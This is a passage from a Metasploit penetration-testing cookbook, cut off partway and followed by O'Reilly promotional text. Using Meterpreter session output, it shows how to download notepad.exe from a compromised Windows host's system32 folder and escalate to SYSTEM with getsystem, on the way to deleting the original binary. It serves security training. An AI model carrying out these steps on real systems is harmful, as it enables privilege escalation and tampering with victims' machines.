How to do it...

  1. First, we will download  notepad.exe to our Kali machine using the download command:
meterpreter > pwdC:\Windows\system32meterpreter > download notepad.exe[*] Downloading: notepad.exe -> notepad.exe[*] Downloaded 227.00 KiB of 227.00 KiB (100.0%): notepad.exe -> notepad.exe[*] download : notepad.exe -> notepad.exemeterpreter >
Use the pwd command to make sure you are on the C:\Windows\system32 directory where notepad.exe is located. If not, use the cd command to change to the proper directory (don't forget to use double backslashes):  C:\\Windows\\system32.
  1. Now that we have a copy of the binary, let's try to remove the original:
meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). ...

Get Metasploit Penetration Testing Cookbook - Third Edition now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.